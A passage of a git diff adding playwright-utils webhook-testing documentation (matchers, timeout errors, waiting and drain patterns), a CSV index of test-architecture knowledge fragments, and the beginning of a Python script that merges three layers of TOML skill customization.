+Matcher detail output: `partial({"event":"movie.created","data":{"id":42}})`
+
+### matchPredicate — arbitrary function
+
+Accepts any `(payload: T) => boolean` function. Always requires a human-readable description string — this appears in `WebhookTimeoutError.matcherDetails` for debugging.
+
+**ID-scoped parallel isolation** (prevents cross-worker contamination in `waitForCount`):
+
+```typescript
+const batchTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.created.batch')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${id1} or ${id2}`, (p) => p.data.id === id1 || p.data.id === id2)
+  .withTimeout(15_000)
+  .withInterval(500)
+  .build();
+```
+
+**Business data filtering**:
+
+```typescript
+const highRatingTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; rating: number };
+}>('movie.created.high-rating')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${movieId} and data.rating >= 9`, (p) => p.data.id === movieId && p.data.rating >= 9)
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+Matcher detail output: `predicate(data.id is 42 and data.rating >= 9)`
+
+## Combining Matchers
+
+All matchers use AND semantics — all must pass for the webhook to match:
+
+```typescript
+// Combined field + partial: both matchers must pass
+const updateTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; name: string };
+}>('movie.updated')
+  .matchField('event', 'movie.updated')
+  .matchPartial({ data: { id: movieId, name: nameUpdate.name } })
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+## Per-Template Timeout and Interval
+
+Override the registry defaults on a per-template basis:
+
+```typescript
+webhookTemplate('slow.pipeline.event')
+  .matchField('event', 'slow.pipeline.event')
+  .withTimeout(60_000) // 60s for slow delivery pipelines
+  .withInterval(2_000) // poll every 2s
+  .build();
+```
+
+## clone() for Base Template Variations
+
+> **Note**: `clone()` is available on the builder but is not used in the playwright-utils E2E suite. Use it when multiple tests share the same base template with slight field variations.
+
+```typescript
+const base = webhookTemplate<OrderPayload>('order').matchField('event', 'order.completed');
+
+const forOrderA = base.clone().matchField('data.orderId', 'A').build();
+const forOrderB = base.clone().matchField('data.orderId', 'B').build();
+```
+
+## Builder API Summary
+
+| Method                      | Description                                            |
+| --------------------------- | ------------------------------------------------------ |
+| `webhookTemplate<T>(name)`  | Create a new builder with the given template name      |
+| `.matchField(path, value)`  | Add dot-path exact-match matcher                       |
+| `.matchPartial(expected)`   | Add deep-subset matcher                                |
+| `.matchPredicate(desc, fn)` | Add arbitrary predicate matcher (description required) |
+| `.withTimeout(ms)`          | Override registry default timeout                      |
+| `.withInterval(ms)`         | Override registry default poll interval                |
+| `.clone()`                  | Copy current builder state for variation               |
+| `.build()`                  | Produce the immutable `WebhookTemplate<T>` object      |
+
+## Related Fragments
+
+- `webhook-waiting-querying.md` — waitFor, waitForCount, drain pattern
+- `webhook-timeout-error.md` — Reading matcherDetails in error output
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-testing-fundamentals.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-testing-fundamentals.md
new file mode 100644
index 0000000..dfedb2d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-testing-fundamentals.md
@@ -0,0 +1,42 @@
+# Webhook Testing Fundamentals
+
+## Principle
+
+Webhook delivery is eventually consistent — your application fires HTTP callbacks asynchronously after events occur. Tests must poll until the expected webhook arrives or time out. The `@seontechnologies/playwright-utils` webhook module provides deterministic polling, typed matchers, rich timeout diagnostics, and cleanup strategies safe under `fullyParallel: true`.
+
+## Rationale
+
+Webhook tests fail for four structural reasons:
+
+- **Eventually consistent**: Webhook delivery happens asynchronously — you cannot assert immediately after triggering an event
+- **Parallel journal pollution**: When multiple workers share the same mock server, a fast worker's teardown can delete records a slow worker is still polling
+- **Opaque timeouts**: A bare timeout tells you only that the webhook didn't arrive — it shows you nothing about what did arrive
+- **Cleanup drift**: Resetting the full journal in `afterEach` creates a race condition under `fullyParallel: true`
+
+The playwright-utils approach:
+
+- **Polling via `recurse`**: Uses Playwright's `expect.poll` under the hood — retries with configurable timeout and interval until a match is found
+- **Typed matchers**: `matchField`, `matchPartial`, `matchPredicate` — all must pass (AND semantics); matchers never throw on missing paths
+- **Rich timeout errors**: `WebhookTimeoutError` carries `totalReceived`, `receivedWebhooks`, and `matcherDetails` so you can see what arrived vs. what was expected
+- **Isolation via `startedAt`**: Each `WebhookRegistry` instance records its creation timestamp; polling only fetches webhooks received after that point, preventing leakage from prior tests
+- **Two cleanup strategies**: `full-reset` (resets entire journal) and `matched-only` (deletes only matched webhooks — parallel-safe when the provider supports delete-by-ID, e.g. WireMock)
+
+## When to Use Webhook Tests
+
+| Scenario                                                          | Use webhook tests         |
+| ----------------------------------------------------------------- | ------------------------- |
+| Application publishes events to external subscribers              | ✅ Required               |
+| Event-driven architecture with Kafka/event bus → webhook delivery | ✅ Required               |
+| Payment, order, or notification side effects via webhooks         | ✅ Required               |
+| Testing that a webhook was NOT delivered                          | ✅ Verify via timeout     |
+| Polling a status endpoint for eventual consistency                | ❌ Use `recurse` directly |
+| Frontend receiving push notifications (WebSocket)                 | ❌ Different mechanism    |
+
+## Related Fragments
+
+- `webhook-module-setup.md` — Fixture wiring and cleanup strategies
+- `webhook-template-matchers.md` — matchField, matchPartial, matchPredicate
+- `webhook-waiting-querying.md` — waitFor, waitForCount, getReceived, drain pattern
+- `webhook-timeout-error.md` — WebhookTimeoutError debugging
+- `webhook-providers.md` — WireMock, MockServer, Mockoon, custom provider
+- `webhook-risk-guidance.md` — Risk-based guidance for TA and TD capabilities
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-timeout-error.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-timeout-error.md
new file mode 100644
index 0000000..34b7b73
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-timeout-error.md
@@ -0,0 +1,130 @@
+# WebhookTimeoutError and Debugging
+
+## Principle
+
+`WebhookTimeoutError` is thrown when `waitFor` or `waitForCount` does not find a matching webhook within the configured timeout. It carries a snapshot of received webhooks from the last polling cycle — truncated to the last 10 entries — so you can inspect what arrived vs. what was expected. The full count of all received webhooks is available in `totalReceived`.
+
+## Error Properties
+
+```typescript
+class WebhookTimeoutError extends Error {
+  readonly name = 'WebhookTimeoutError';
+  readonly templateName: string; // from webhookTemplate('...')
+  readonly timeoutMs: number; // the timeout that was exceeded
+  readonly totalReceived: number; // total webhooks seen in polling window
+  readonly receivedWebhooks: ReceivedWebhook[]; // last ≤10 received webhooks
+  readonly matcherDetails: string[]; // human-readable matcher summary
+
+  toJSON(): Record<string, unknown>; // serialize all fields for CI logs
+}
+```
+
+`receivedWebhooks` is capped at the last 10 entries. If more than 10 webhooks arrived, `totalReceived` shows the full count but `receivedWebhooks` contains only the most recent 10.
+
+## Reading the Error
+
+The error message format:
+
+```
+Webhook "movie.deleted" not received within 15000ms.
+3 webhook(s) were received but none matched.
+Matchers: field(event="movie.deleted"), field(data.id=42).
+```
+
+Use `matcherDetails` to confirm the matchers were configured correctly. Use `receivedWebhooks` to inspect actual payloads — compare field paths and values against what the matchers expect.
+
+## Validating the Error Shape in Tests
+
+```typescript
+import { WebhookTimeoutError, webhookTemplate } from '@seontechnologies/playwright-utils/webhook';
+
+const neverArrivingTemplate = webhookTemplate('never.arrives')
+  .matchField('event', 'event.that.never.happens')
+  .withTimeout(500)
+  .withInterval(100)
+  .build();
+
+const [waitResult] = await Promise.allSettled([webhookRegistry.waitFor(neverArrivingTemplate)]);
+
+expect(waitResult.status).toBe('rejected');
+if (waitResult.status !== 'rejected') {
+  throw new Error('Expected webhook wait to reject with WebhookTimeoutError');
+}
+
+const error = waitResult.reason as WebhookTimeoutError;
+expect(error).toBeInstanceOf(WebhookTimeoutError);
+expect(error.templateName).toBe('never.arrives');
+expect(error.timeoutMs).toBe(500);
+expect(error.toJSON()).toMatchObject({
+  name: 'WebhookTimeoutError',
+  templateName: 'never.arrives',
+  timeoutMs: 500,
+  totalReceived: expect.any(Number),
+  matcherDetails: ['field(event="event.that.never.happens")'],
+});
+```
+
+## Inspecting receivedWebhooks
+
+When a webhook arrives but doesn't match, `receivedWebhooks` shows you what actually came in:
+
+```typescript
+// Wait for create webhook first — puts it in the journal
+await webhookRegistry.waitFor(movieCreated(movieId));
+
+// Wait for delete webhook that will never arrive — no delete was called
+const undeliveredDelete = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.deleted.not.delivered')
+  .matchField('event', 'movie.deleted')
+  .matchField('data.id', movieId)
+  .withTimeout(2_000)
+  .withInterval(200)
+  .build();
+
+const [waitResult] = await Promise.allSettled([webhookRegistry.waitFor(undeliveredDelete)]);
+
+expect(waitResult.status).toBe('rejected');
+if (waitResult.status !== 'rejected') {
+  throw new Error('Expected webhook wait to reject with WebhookTimeoutError');
+}
+
+const error = waitResult.reason as WebhookTimeoutError;
+expect(error).toBeInstanceOf(WebhookTimeoutError);
+expect(error.totalReceived).toBeGreaterThanOrEqual(1);
+
+// The movie.created webhook that did arrive is visible in the error
+const createdWebhook = error.receivedWebhooks.find((w) => (w.body as { data: { id: number } }).data.id === movieId);
+expect(createdWebhook).toBeDefined();
+expect((createdWebhook!.body as { event: string }).event).toBe('movie.created');
+```
+
+## Common Failure Patterns
+
+| What you see                           | Likely cause                                         | Fix                                                               |
+| -------------------------------------- | ---------------------------------------------------- | ----------------------------------------------------------------- |
+| `totalReceived: 0`                     | Webhook not delivered; wrong URL or event not firing | Check application event publishing and webhook routing            |
+| `totalReceived > 0`, none match        | Webhooks arriving but matchers not matching          | Inspect `receivedWebhooks[0].body` — check field paths and values |
+| `matcherDetails` shows wrong path      | Template factory misconfigured                       | Print `error.toJSON()` and compare paths against actual payload   |
+| `totalReceived: 0` with `matched-only` | Another worker claimed and deleted the webhook first | Ensure template is scoped by entity ID                            |
+| Parse error in body                    | Webhook body is not valid JSON                       | Check `receivedWebhooks[n].parseError` and `rawBody`              |
+
+## matcherDetails Format per Matcher Type
+
+| Matcher                         | matcherDetails string |
+| ------------------------------- | --------------------- |
+| `matchField('event', 'x')`      | `field(event="x")`    |
+| `matchPartial({ a: 1 })`        | `partial({"a":1})`    |
+| `matchPredicate('my desc', fn)` | `predicate(my desc)`  |
+
+## Import
+
+```typescript
+import { WebhookTimeoutError } from '@seontechnologies/playwright-utils/webhook';
+```
+
+## Related Fragments
+
+- `webhook-template-matchers.md` — matcherDetails string format per matcher type
+- `webhook-waiting-querying.md` — waitFor and waitForCount throw this error on timeout
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-waiting-querying.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-waiting-querying.md
new file mode 100644
index 0000000..7474791
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-waiting-querying.md
@@ -0,0 +1,167 @@
+# Webhook Waiting and Querying Patterns
+
+## Principle
+
+`waitFor` and `waitForCount` poll until matching webhooks arrive; `getReceived` queries without waiting. Always drain preceding events before asserting on subsequent ones. Scope templates by entity ID to prevent parallel worker cross-contamination.
+
+## Pattern Examples
+
+### Example 1: waitFor — single webhook
+
+Poll until the first webhook matching the template arrives. Returns the typed `ReceivedWebhook<T>`.
+
+```typescript
+const webhook = await webhookRegistry.waitFor(movieCreated(movieId));
+
+expect(webhook.body).toMatchObject({
+  event: 'movie.created',
+  timestamp: expect.any(String),
+  data: {
+    id: movieId,
+    name: movie.name,
+    year: movie.year,
+    rating: movie.rating,
+  },
+});
+```
+
+### Example 2: The drain pattern — sequential events
+
+When testing a downstream event (e.g. deletion), always `waitFor` the preceding event first. Without the drain, the create webhook may remain in the journal and interfere with cleanup or subsequent polling.
+
+```typescript
+test('movie deletion triggers a webhook with correct payload', async ({ authToken, addMovie, deleteMovie, webhookRegistry }) => {
+  const movie = generateMovieWithoutId();
+  const { body: createResponse } = await addMovie(authToken, movie);
+  const movieId = createResponse.data.id;
+
+  await log.step('Drain the create webhook before testing the delete path');
+  await webhookRegistry.waitFor(movieCreated(movieId)); // drain — consume the create event
+
+  await deleteMovie(authToken, movieId);
+
+  await log.step('Wait for the delete webhook');
+  const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+
+  expect(webhook.body).toMatchObject({
+    event: 'movie.deleted',
+    data: { id: movieId, name: movie.name },
+  });
+});
+```
+
+**Why drain?** If you skip the drain and go directly to `waitFor(movieDeleted)`, the create webhook is already in the journal. The delete webhook may arrive and be cleaned up by another test before your poll reaches it. Draining makes the event order explicit and removes the ambiguity.
+
+### Example 3: waitForCount — collect N webhooks concurrently
+
+Collect exactly N matching webhooks. Use `matchPredicate` with all IDs to prevent cross-worker contamination when running `fullyParallel: true`:
+
+```typescript
+await log.step('Create two movies concurrently');
+const [{ body: res1 }, { body: res2 }] = await Promise.all([
+  addMovie(authToken, generateMovieWithoutId()),
+  addMovie(authToken, generateMovieWithoutId()),
+]);
+
+const [id1, id2] = [res1.data.id, res2.data.id];
+
+const batchTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.created.batch')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${id1} or ${id2}`, (p) => p.data.id === id1 || p.data.id === id2)
+  .withTimeout(15_000)
+  .withInterval(500)
+  .build();
+
+const webhooks = await webhookRegistry.waitForCount(batchTemplate, 2);
+
+expect(webhooks).toHaveLength(2);
+const receivedIds = webhooks.map((w) => w.body.data.id);
+expect(receivedIds).toContain(id1);
+expect(receivedIds).toContain(id2);
+expect(new Set(receivedIds).size).toBe(2); // guard against the same ID delivered twice
+```
+
+### Example 4: getReceived — query without waiting
+
+Query the journal without polling. Useful for asserting presence of webhooks after a `waitFor`, or for method/URL filtering.
+
+```typescript
+await webhookRegistry.waitFor(movieCreated(movieId)); // wait first
+
+const all = await webhookRegistry.getReceived();
+expect(all.length).toBeGreaterThanOrEqual(1);
+
+// Method filter — all sample-app webhooks are delivered via POST
+const postOnly = await webhookRegistry.getReceived({ method: 'POST' });
+expect(postOnly.every((w) => w.method === 'POST')).toBe(true);
+
+// URL pattern filter — match the webhooks endpoint path
+const byUrl = await webhookRegistry.getReceived({ urlPattern: '/webhooks' });
+expect(byUrl.every((w) => w.url.includes('/webhooks'))).toBe(true);
+```
+
+`getReceived` accepts `WebhookQueryFilter`:
+
+```typescript
+type WebhookQueryFilter = {
+  urlPattern?: string; // glob or regex string
+  method?: string; // HTTP method filter
+  since?: Date; // only return webhooks after this timestamp
+};
+```
+
+Note: `getReceived` is a direct passthrough to the provider — it does **not** automatically apply the `startedAt` filter. Only `waitFor` and `waitForCount` apply the since-filter internally during polling. If you need to scope a manual `getReceived` call to this test's time window, record your own timestamp before the action under test and pass `{ since: myTimestamp }` explicitly.
+
+## Parallel Worker Safety
+
+Always scope template factories to the entity's ID:
+
+```typescript
+// ✅ Scoped — only matches webhooks for this specific movie
+const movieCreated = (movieId: number) =>
+  webhookTemplate('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId) // scoped by ID
+    .build();
+
+// ❌ Unscoped — will match any movie.created from any parallel worker
+const movieCreatedUnscoped = webhookTemplate('movie.created').matchField('event', 'movie.created').build();
+```
+
+## Method Summary
+
+| Method                      | Returns                         | Description                                                                                       |
+| --------------------------- | ------------------------------- | ------------------------------------------------------------------------------------------------- |
+| `waitFor(template)`         | `Promise<ReceivedWebhook<T>>`   | Poll until first match; throws `WebhookTimeoutError` on timeout                                   |
+| `waitForCount(template, n)` | `Promise<ReceivedWebhook<T>[]>` | Poll until N matches; throws `WebhookTimeoutError` on timeout                                     |
+| `getReceived(filter?)`      | `Promise<ReceivedWebhook[]>`    | Direct passthrough to provider — no automatic since-filter; pass `{ since }` explicitly if needed |
+| `resetJournal()`            | `Promise<void>`                 | Wipe the entire journal and clear matchedIds                                                      |
+| `cleanup()`                 | `Promise<void>`                 | Delete matched webhooks (`matched-only`) or reset journal (`full-reset`)                          |
+
+## Anti-Patterns
+
+**DON'T skip the drain for sequential events:**
+
+```typescript
+// Bad: direct jump to delete webhook — create webhook pollutes the journal
+await addMovie(authToken, movie);
+const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+```
+
+**DO drain preceding events:**
+
+```typescript
+// Good: drain create first, then wait for delete
+await webhookRegistry.waitFor(movieCreated(movieId)); // drain
+await deleteMovie(authToken, movieId);
+const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+```
+
+## Related Fragments
+
+- `webhook-template-matchers.md` — How to build templates
+- `webhook-timeout-error.md` — What to do when waitFor times out
+- `recurse.md` — The polling primitive used internally by the registry
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/tea-index.csv b/plugins/bmad/skills/bmad-testarch-nfr/resources/tea-index.csv
new file mode 100644
index 0000000..ebd3200
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/tea-index.csv
@@ -0,0 +1,50 @@
+id,name,description,tags,tier,fragment_file
+fixture-architecture,Fixture Architecture,"Composable fixture patterns (pure function → fixture → merge) and reuse rules","fixtures,architecture,playwright,cypress",core,knowledge/fixture-architecture.md
+network-first,Network-First Safeguards,"Intercept-before-navigate workflow, HAR capture, deterministic waits, edge mocking","network,stability,playwright,cypress,ui",core,knowledge/network-first.md
+data-factories,Data Factories and API Setup,"Factories with overrides, API seeding, cleanup discipline","data,factories,setup,api,backend,seeding",core,knowledge/data-factories.md
+component-tdd,Component TDD Loop,"Red→green→refactor workflow, provider isolation, accessibility assertions","component-testing,tdd,ui",extended,knowledge/component-tdd.md
+playwright-config,Playwright Config Guardrails,"Environment switching, timeout standards, artifact outputs","playwright,config,env",extended,knowledge/playwright-config.md
+ci-burn-in,CI and Burn-In Strategy,"Staged jobs, shard orchestration, burn-in loops, artifact policy","ci,automation,flakiness",extended,knowledge/ci-burn-in.md
+selective-testing,Selective Test Execution,"Tag/grep usage, spec filters, diff-based runs, promotion rules","risk-based,selection,strategy",extended,knowledge/selective-testing.md
+feature-flags,Feature Flag Governance,"Enum management, targeting helpers, cleanup, release checklists","feature-flags,governance,launchdarkly",specialized,knowledge/feature-flags.md
+contract-testing,Contract Testing Essentials,"Pact publishing, provider verification, resilience coverage","contract-testing,pact,api,backend,microservices,service-contract",specialized,knowledge/contract-testing.md
+email-auth,Email Authentication Testing,"Magic link extraction, state preservation, caching, negative flows","email-authentication,security,workflow",specialized,knowledge/email-auth.md
+error-handling,Error Handling Checks,"Scoped exception handling, retry validation, telemetry logging","resilience,error-handling,stability,api,backend",extended,knowledge/error-handling.md
+visual-debugging,Visual Debugging Toolkit,"Trace viewer usage, artifact expectations, accessibility integration","debugging,dx,tooling,ui",specialized,knowledge/visual-debugging.md
+risk-governance,Risk Governance,"Scoring matrix, category ownership, gate decision rules","risk,governance,gates",core,knowledge/risk-governance.md
+probability-impact,Probability and Impact Scale,"Shared definitions for scoring matrix and gate thresholds","risk,scoring,scale",core,knowledge/probability-impact.md
+test-quality,Test Quality Definition of Done,"Execution limits, isolation rules, green criteria","quality,definition-of-done,tests",core,knowledge/test-quality.md
+nfr-criteria,NFR Review Criteria,"Security, performance, reliability, maintainability status definitions","nfr,assessment,quality",extended,knowledge/nfr-criteria.md
+test-levels,Test Levels Framework,"Guidelines for choosing unit, integration, or end-to-end coverage","testing,levels,selection,api,backend,ui",core,knowledge/test-levels-framework.md
+test-priorities,Test Priorities Matrix,"P0–P3 criteria, coverage targets, execution ordering","testing,prioritization,risk",core,knowledge/test-priorities-matrix.md
+test-healing-patterns,Test Healing Patterns,"Common failure patterns and automated fixes","healing,debugging,patterns",core,knowledge/test-healing-patterns.md
+selector-resilience,Selector Resilience,"Robust selector strategies and debugging techniques","selectors,locators,debugging,ui",core,knowledge/selector-resilience.md
+timing-debugging,Timing Debugging,"Race condition identification and deterministic wait fixes","timing,async,debugging",extended,knowledge/timing-debugging.md
+overview,Playwright Utils Overview,"Installation, design principles, fixture patterns for API and UI testing","playwright-utils,fixtures,api,backend,ui",core,knowledge/overview.md
+api-request,API Request,"Typed HTTP client, schema validation, retry logic, operation-based overload for API and service testing","api,backend,service-testing,api-testing,playwright-utils,openapi,codegen,operation",core,knowledge/api-request.md
+network-recorder,Network Recorder,"HAR record/playback, CRUD detection for offline UI testing","network,playwright-utils,ui,har",extended,knowledge/network-recorder.md
+auth-session,Auth Session,"Token persistence, multi-user, API and browser authentication","auth,playwright-utils,api,backend,jwt,token",core,knowledge/auth-session.md
+intercept-network-call,Intercept Network Call,"Network spy/stub, JSON parsing for UI tests","network,playwright-utils,ui",extended,knowledge/intercept-network-call.md
+recurse,Recurse Polling,"Async polling for API responses, background jobs, eventual consistency","polling,playwright-utils,api,backend,async,eventual-consistency",extended,knowledge/recurse.md
+log,Log Utility,"Report logging, structured output for API and UI tests","logging,playwright-utils,api,ui",extended,knowledge/log.md
+file-utils,File Utilities,"CSV/XLSX/PDF/ZIP validation for API exports and UI downloads","files,playwright-utils,api,backend,ui",extended,knowledge/file-utils.md
+burn-in,Burn-in Runner,"Smart test selection, git diff for CI optimization","ci,playwright-utils",extended,knowledge/burn-in.md
+network-error-monitor,Network Error Monitor,"HTTP 4xx/5xx detection for UI tests","monitoring,playwright-utils,ui",extended,knowledge/network-error-monitor.md
+fixtures-composition,Fixtures Composition,"mergeTests composition patterns for combining utilities","fixtures,playwright-utils",extended,knowledge/fixtures-composition.md
+api-testing-patterns,API Testing Patterns,"Pure API test patterns without browser: service testing, microservices, GraphQL","api,backend,service-testing,api-testing,microservices,graphql,no-browser",specialized,knowledge/api-testing-patterns.md
+pactjs-utils-overview,Pact.js Utils Overview,"Installation, contract testing flows, utility table (createProviderState, toJsonMap, setJsonContent, setJsonBody)","pactjs-utils,contract-testing,pact,api,backend,microservices",specialized,knowledge/pactjs-utils-overview.md
+pactjs-utils-consumer-helpers,Pact.js Utils Consumer Helpers,"createProviderState, toJsonMap, setJsonContent, setJsonBody for consumer-side Pact helpers","pactjs-utils,consumer,contract-testing,pact,api",specialized,knowledge/pactjs-utils-consumer-helpers.md
+pactjs-utils-provider-verifier,Pact.js Utils Provider Verifier,"buildVerifierOptions, buildMessageVerifierOptions for provider verification","pactjs-utils,provider,contract-testing,pact,api,backend,ci",specialized,knowledge/pactjs-utils-provider-verifier.md
+pactjs-utils-request-filter,Pact.js Utils Request Filter,"createRequestFilter, noOpRequestFilter for auth injection","pactjs-utils,auth,contract-testing,pact",specialized,knowledge/pactjs-utils-request-filter.md
+pact-mcp,Pact MCP Server,"SmartBear MCP for PactFlow: generate tests, review, can-i-deploy, provider states","pact,mcp,pactflow,contract-testing,broker",specialized,knowledge/pact-mcp.md
+pact-consumer-framework-setup,Pact Consumer CDC Framework Setup,"Directory structure, vitest config, shell scripts, CI workflow, PactV4 patterns for consumer CDC","pactjs-utils,consumer,contract-testing,pact,ci,framework,setup,vitest,shell-scripts",specialized,knowledge/pact-consumer-framework-setup.md
+adr-quality-readiness-checklist,ADR Quality Readiness Checklist,"8-category 29-criteria framework for ADR testability and NFR assessment","nfr,testability,adr,quality,assessment,checklist",extended,knowledge/adr-quality-readiness-checklist.md
+playwright-cli,Playwright CLI,"Token-efficient CLI for AI coding agents: element refs, sessions, snapshots, trace analysis, debug=cli autonomous investigation","cli,browser,agent,automation,snapshot,trace,debug",core,knowledge/playwright-cli.md
+pact-consumer-di,Pact Consumer DI Pattern,"Dependency injection pattern for Pact consumer tests — call actual source code instead of raw fetch by injecting mock server URL via optional baseUrl in context type","contract-testing,pact,consumer,dependency-injection,api,backend,architecture",extended,knowledge/pact-consumer-di.md
+webhook-fundamentals,Webhook Testing Fundamentals,"Why webhook delivery is hard: async, parallel pollution, opaque timeouts, cleanup drift. playwright-utils approach with polling, typed matchers, rich errors, startedAt isolation","webhook,async,playwright-utils,event-driven,eventually-consistent",core,knowledge/webhook-testing-fundamentals.md
+webhook-setup,Webhook Module Setup,"Fixture wiring for WireMock/MockServer/Mockoon providers, matched-only vs full-reset cleanup strategy, fullyParallel race condition fix","webhook,fixtures,playwright-utils,wiremock,mockserver,mockoon,setup",core,knowledge/webhook-module-setup.md
+webhook-matchers,Webhook Template Matchers,"matchField (dot-path exact), matchPartial (deep subset), matchPredicate (arbitrary fn), AND semantics, template factories, clone, withTimeout, withInterval","webhook,matchers,playwright-utils,templates,patterns",core,knowledge/webhook-template-matchers.md
+webhook-waiting,Webhook Waiting and Querying,"waitFor, waitForCount, getReceived, drain pattern for sequential events, parallel worker safety via ID-scoped templates","webhook,async,playwright-utils,polling,patterns,eventually-consistent",core,knowledge/webhook-waiting-querying.md
+webhook-timeout-error,WebhookTimeoutError Debugging,"templateName, timeoutMs, totalReceived, receivedWebhooks, matcherDetails, toJSON — inspect what arrived vs what was expected","webhook,debugging,errors,playwright-utils",extended,knowledge/webhook-timeout-error.md
+webhook-providers,Webhook Provider Patterns,"WireMock (deleteById supported), MockServer (deleteById no-op), Mockoon (deleteById no-op, 100-entry limit), custom WebhookProvider interface","webhook,providers,playwright-utils,wiremock,mockserver,mockoon",extended,knowledge/webhook-providers.md
+webhook-risk,Webhook Testing Risk Guidance,"When webhook tests are required, P2×I3 default risk score, complete test checklist, failure patterns and mitigations, TA assessment checklist","webhook,risk,assessment,event-driven,async,playwright-utils,governance",core,knowledge/webhook-risk-guidance.md
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/scripts/resolve-customization.py b/plugins/bmad/skills/bmad-testarch-nfr/scripts/resolve-customization.py
new file mode 100755
index 0000000..d9994a5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/scripts/resolve-customization.py
@@ -0,0 +1,183 @@
+#!/usr/bin/env python3
+# /// script
+# requires-python = ">=3.11"
+# ///
+"""Resolve customization for a BMad skill using three-layer TOML merge.
+
+Reads customization from three layers (highest priority first):
+  1. {project-root}/_bmad/customizations/{name}.user.toml  (personal, gitignored)
+  2. {project-root}/_bmad/customizations/{name}.toml        (team/org, committed)
+  3. ./customize.toml                                       (skill defaults)
+
+Outputs merged JSON to stdout. Errors go to stderr.
+
+Usage:
+  python ./scripts/resolve-customization.py {skill-name}
+  python ./scripts/resolve-customization.py {skill-name} --key persona
+  python ./scripts/resolve-customization.py {skill-name} --key persona.displayName --key inject
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import sys
+import tomllib
+from pathlib import Path
+from typing import Any
+
+
+def find_project_root(start: Path) -> Path | None:
+    """Walk up from *start* looking for a directory containing ``_bmad/`` or ``.git``."""
+    current = start.resolve()
+    while True:
+        if (current / "_bmad").is_dir() or (current / ".git").exists():
+            return current
+        parent = current.parent
+        if parent == current:
+            return None
+        current = parent
+
+
+def load_toml(path: Path) -> dict[str, Any]:
+    """Return parsed TOML or empty dict if the file doesn't exist."""
+    if not path.is_file():
+        return {}
+    try:
+        with open(path, "rb") as f:
+            return tomllib.load(f)
+    except (tomllib.TOMLDecodeError, OSError) as exc:
+        print(f"warning: failed to parse {path}: {exc}", file=sys.stderr)
+        return {}
+
+
+# ---------------------------------------------------------------------------
+# Merge helpers
+# ---------------------------------------------------------------------------
+
+def _is_menu_array(value: Any) -> bool:
+    """True when *value* is a non-empty list where ALL items are dicts with a ``code`` key."""
+    return (
+        isinstance(value, list)
+        and len(value) > 0
+        and all(isinstance(item, dict) and "code" in item for item in value)
+    )
+
+
+def merge_menu(base: list[dict], override: list[dict]) -> list[dict]:
+    """Merge-by-code: matching codes replace; new codes append."""
+    result_by_code: dict[str, dict] = {item["code"]: dict(item) for item in base if "code" in item}
+    for item in override:
+        if "code" not in item:
+            print(f"warning: menu item missing 'code' key, skipping: {item}", file=sys.stderr)
+            continue
+        result_by_code[item["code"]] = dict(item)
+    return list(result_by_code.values())
+
+
+def deep_merge(base: dict[str, Any], override: dict[str, Any]) -> dict[str, Any]:
+    """Recursively merge *override* into *base*.
+
+    Rules:
+      - Tables (dicts): sparse override -- recurse, unmentioned keys kept.
+      - ``[[menu]]`` arrays (items with ``code`` key): merge-by-code.
+      - All other arrays: atomic replace.
+      - Scalars: override wins.
+    """
+    merged = dict(base)
+    for key, over_val in override.items():
+        base_val = merged.get(key)
+
+        if isinstance(over_val, dict) and isinstance(base_val, dict):
+            merged[key] = deep_merge(base_val, over_val)
+        elif _is_menu_array(over_val) and _is_menu_array(base_val):
+            merged[key] = merge_menu(base_val, over_val)  # type: ignore[arg-type]
+        else:
+            merged[key] = over_val
+
+    return merged
+
+
+# ---------------------------------------------------------------------------
+# Key extraction
+# ---------------------------------------------------------------------------
+
+def extract_key(data: dict[str, Any], dotted_key: str) -> Any:
+    """Retrieve a value by dotted path (e.g. ``persona.displayName``)."""
+    parts = dotted_key.split(".")
+    current: Any = data
+    for part in parts:
+        if isinstance(current, dict) and part in current:
+            current = current[part]
+        else:
+            return None
+    return current
+
+
+# ---------------------------------------------------------------------------
+# Main
+# ---------------------------------------------------------------------------
+
+def main() -> None:
+    parser = argparse.ArgumentParser(
+        description="Resolve BMad skill customization (three-layer TOML merge).",
+        epilog=(
+            "Resolution priority: user.toml > team.toml > skill defaults.\n"
+            "Output is JSON. Use --key to request specific fields (JIT resolution)."
+        ),
+    )
+    parser.add_argument(
+        "skill_name",
+        help="Skill identifier (e.g. bmad-agent-pm, bmad-product-brief)",
+    )
+    parser.add_argument(
+        "--key",
+        action="append",
+        dest="keys",
+        metavar="FIELD",
+        help="Dotted field path to resolve (repeatable). Omit for full dump.",
+    )
+    args = parser.parse_args()
+
+    # Locate the skill's own customize.toml (one level up from scripts/)
+    script_dir = Path(__file__).resolve().parent
+    skill_dir = script_dir.parent
+    defaults_path = skill_dir / "customize.toml"
+
+    # Locate project root for override files
+    project_root = find_project_root(Path.cwd())
